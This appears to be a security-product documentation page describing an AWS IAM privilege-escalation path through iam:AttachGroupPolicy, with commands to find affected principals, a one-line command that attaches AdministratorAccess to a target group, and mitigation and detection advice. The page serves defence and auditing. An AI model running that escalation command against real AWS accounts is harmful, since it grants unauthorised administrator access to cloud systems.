> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/aws/aws_attach_group_policy.md).

# AWS\_ATTACH\_GROUP\_POLICY

## Summary

|                            |                                             |
| -------------------------- | ------------------------------------------- |
| **Forestall ACL Alias**    | AWS\_ATTACH\_GROUP\_POLICY                  |
| **Edge Type**              | Attack Path                                 |
| **Affected Object Types**  | IAM Users, IAM Roles, IAM Groups            |
| **Exploitation Certainty** | High                                        |
| **AWS IAM Action**         | `iam:AttachGroupPolicy` on the target group |

## Description

A principal with `iam:AttachGroupPolicy` can attach any managed policy to a target IAM group. That covers customer-managed and AWS-managed policies. Every member of the group inherits its policies, so attaching `AdministratorAccess` escalates every current member. If the attacker is in the group, that includes them.

The edge is `(Attacker:AWSUser|AWSRole|AWSGroup) -[AWS_ATTACH_GROUP_POLICY]-> (TargetGroup:AWSGroup)`.

## Identification

```bash
# List principals with iam:AttachGroupPolicy
aws iam get-account-authorization-details \
  --filter User Role Group LocalManagedPolicy AWSManagedPolicy \
  --query "UserDetailList[?AttachedManagedPolicies[?contains(PolicyName, 'AttachGroupPolicy')]].[UserName]"

# Simulate privilege check for a specific principal
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names iam:AttachGroupPolicy \
  --resource-arns "arn:aws:iam::*:group/*"
```

PowerShell (AWS Tools):

```powershell
Get-IAMAccountAuthorizationDetail -Filter User | ForEach-Object {
    $_.AttachedManagedPolicies | Where-Object { $_.PolicyName -match "AttachGroupPolicy" }
}
```

## Exploitation

```bash
# Attach AdministratorAccess to the target group. Every member inherits it.
aws iam attach-group-policy \
  --group-name <target-group> \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
```

## Mitigation

* Restrict `iam:AttachGroupPolicy` to dedicated IAM administrators. Deny it for all other roles and users.
* Use permission boundaries to cap the most permissions any group can receive.
* Apply SCPs to block attachment of `AdministratorAccess` and other Tier-0 policies without MFA or approval.
* Audit group-attached policies with the AWS Config rule `iam-group-attached-managed-policy-check`.

## Detection

| CloudTrail Event    | Description                              | Key Fields                                                                       |
| ------------------- | ---------------------------------------- | -------------------------------------------------------------------------------- |
| `AttachGroupPolicy` | A managed policy was attached to a group | `requestParameters.groupName`, `requestParameters.policyArn`, `userIdentity.arn` |

Alert when `policyArn` is `AdministratorAccess` or any Tier-0 policy, or when the caller isn't in an approved IAM-admin role.

## References

* [AWS IAM: AttachGroupPolicy API](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AttachGroupPolicy.html)
* [Rhino Security Labs: AWS IAM Privilege Escalation Methods](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
* [AWS Security Best Practices: Least Privilege](https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html#grant-least-privilege)